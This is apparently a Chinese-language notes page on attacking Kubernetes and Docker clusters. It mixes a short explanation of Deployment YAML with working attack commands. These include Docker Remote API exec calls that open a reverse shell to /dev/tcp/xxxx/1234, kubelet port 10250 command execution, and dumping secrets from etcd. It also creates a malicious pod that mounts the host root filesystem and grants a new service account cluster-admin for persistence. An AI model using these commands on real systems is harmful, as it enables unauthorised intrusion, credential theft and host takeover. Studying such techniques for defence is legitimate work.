# 查看 Deploymentkubectl get deployments
# 查看 Podkubectl get pods
#根据yaml文件部署kubectl apply -f nginx-deployment.yaml

一个yaml文件差不多就长这样apiVersion: apps/v1 #与k8s集群版本有关，使用 kubectl api-versions 即可查看当前集群支持的版本kind: Deployment #该配置的类型，我们使用的是 Deploymentmetadata: #译名为元数据，即 Deployment 的一些基本属性和信息 name: nginx-deployment #Deployment 的名称 labels: #标签，可以灵活定位一个或多个资源，其中key和value均可自定义，可以定义多组，目前不需要理解 app: nginx #为该Deployment设置key为app，value为nginx的标签spec: #这是关于该Deployment的描述，可以理解为你期待该Deployment在k8s中如何使用 replicas: 1 #使用该Deployment创建一个应用程序实例 selector: #标签选择器，与上面的标签共同作用，目前不需要理解 matchLabels: #选择包含标签app:nginx的资源 app: nginx template: #这是选择或创建的Pod的模板 metadata: #Pod的元数据 labels: #Pod的标签，上面的selector即选择包含标签app:nginx的Pod app: nginx spec: #期望Pod实现的功能（即在pod中部署） containers: #生成container，与docker中的container是同一种 - name: nginx #container的名称 image: nginx:1.7.9 #使用镜像nginx:1.7.9创建container，该container默认80端口可访问

step1:进入cd /etc/kubernetes/manifests/
step2: 修改api-kube.conf
添加- -–insecure-port=8080添加- -–insecure-bind-address=0.0.0.0
Kubelet 会监听该文件的变化，当您修改了 /etc/kubernetes/manifests/kube-apiserver.yaml 文件之后,kubelet 将自动终止原有的 kube-apiserver-{nodename} 的 Pod，并自动创建一个使用了新配置参数的 Pod 作为替代。

kubectl -s https://192.168.111.20:6443/ --insecure-skip-tls-verify=true get nodes (192.168.111.20:6443 是master节点上apiserver的secure-port)然后提示输入账户密码，随便乱输就行

server="Docker" && port="2375"

curl -X POST "http://ip:2375/containers/{container_id}/exec" -H "Content-Type: application/json" --data-binary '{"Cmd": ["bash", "-c", "bash -i >& /dev/tcp/xxxx/1234 0>&1"]}'

curl -X POST "http://ip:2375/exec/{id}/start" -H "Content-Type: application/json" --data-binary "{}"

curl -s --unix-socket /var/run/docker.sock -X POST "http://docker_daemon_ip/containers/{container_id}/exec" -H "Content-Type: application/json" --data-binary '{"Cmd": ["bash", "-c", "bash -i >& /dev/tcp/xxxx/1234 0>&1"]}'
curl -s --unix-socket /var/run/docker.sock -X POST "http://docker_daemon_ip/exec/{id}/start" -H "Content-Type: application/json" --data-binary "{}"

关于authorization-mode还有以下的配置--authorization-mode=ABAC 基于属性的访问控制（ABAC）模式允许你 使用本地文件配置策略。--authorization-mode=RBAC 基于角色的访问控制（RBAC）模式允许你使用 Kubernetes API 创建和存储策略。--authorization-mode=Webhook WebHook 是一种 HTTP 回调模式，允许你使用远程 REST 端点管理鉴权。--authorization-mode=Node 节点鉴权是一种特殊用途的鉴权模式，专门对 kubelet 发出的 API 请求执行鉴权。--authorization-mode=AlwaysDeny 该标志阻止所有请求。仅将此标志用于测试。--authorization-mode=AlwaysAllow 此标志允许所有请求。仅在你不需要 API 请求 的鉴权时才使用此标志。

curl -XPOST -k https://node_ip:10250/run/<namespace>/<PodName>/<containerName> -d "cmd=command"

ETCDCTL_API=3 ./etcdctl --endpoints=https://etcd_ip:2375/ get / --prefix --keys-only

 export ETCDCTL_CERT=/etc/kubernetes/pki/etcd/peer.crt export ETCDCTL_CACERT=/etc/kubernetes/pki/etcd/ca.crt export ETCDCTL_KEY=/etc/kubernetes/pki/etcd/peer.key

etcdctl --endpoints=https://etcd_ip:2375/ get / --prefix --keys-only | grep /secrets/

etdctl --endpoints=https://etcd_ip:2375/ get /registry/secrets/default/admin-token-55712

kubectl --insecure-skip-tls-verify -s https://master_ip:6443/ --token="xxxxxx" get nodes

首先我们创建恶意Pod，可以直接创建Pod，也可以用Deployment创建。既然提到创建Pod，那么就多提一句：直接创建Pod和用Deployment创建Pod的区别是什么？Deployment可以更方便的设置Pod的数量，方便Pod水平扩展。Deployment拥有更加灵活强大的升级、回滚功能,并且支持滚动更新。使用Deployment升级Pod只需要定义Pod的最终状态，k8s会为你执行必要的操作。如果创建一个小玩意，那么直接创建Pod就行了，没必要用deployment。_______________________________________用Pod创建apiVersion: v1kind: Podmetadata: name: evilpodspec: containers: - image: nginx name: container volumeMounts: - mountPath: /mnt name: test-volume volumes: - name: test-volume hostPath: path: / __________________________________用deployment创建apiVersion: apps/v1kind: Deploymentmetadata: name: nginx-deployment labels: app: nginx-testspec: replicas: 1 selector: matchLabels: app: nginx template: metadata: labels: app: nginx spec: containers: - image: nginx name: container volumeMounts: - mountPath: /mnt name: test-volume volumes: - name: test-volume hostPath: path: /

kubectl apply -f xxxxx.yaml如果是api server未授权打进去的，可能要通过-s参数设置一下api server的ip和地址：kubectl -s http://master_ip:8080 command这里再多嘴一句 kubectl apply 和 kubectl create 这两个命令的区别两个命令都可以用于创建pod，apply更倾向于”维护资源“，可以用于更新已有Pod；而create更倾向于”直接创建“，不管三七二十一给我创建就完事了简而言之，当一个资源已经存在时，用create会报错，而apply不会报错——————ref:https://stackoverflow.com/questions/47369351/kubectl-apply-vs-kubectl-create

$ CA_CERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt$ TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)$ NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)$ curl --cacert $CA_CERT -H "Authorization: Bearer $TOKEN" "https://192.168.111.20:6443/version/" "kind": "Status", "apiVersion": "v1", "metadata": {}, "status": "Failure", "message": "version is forbidden: User \"system:serviceaccount:default:default\" cannot list resource \"version\" in API group \"\" at the cluster scope", "reason": "Forbidden", "details": { "kind": "version" }, "code": 403

kubectl create serviceaccount niubi #创建service account：niubikubectl create clusterrolebinding cluster-admin-niubi --clusterrole=cluster-admin --serviceaccount=default:niubi #把niubi放入集群管理员组，相当于给了它高权限

在创建Pod的yaml文件中的spec项中输入 serviceAccountName: niubi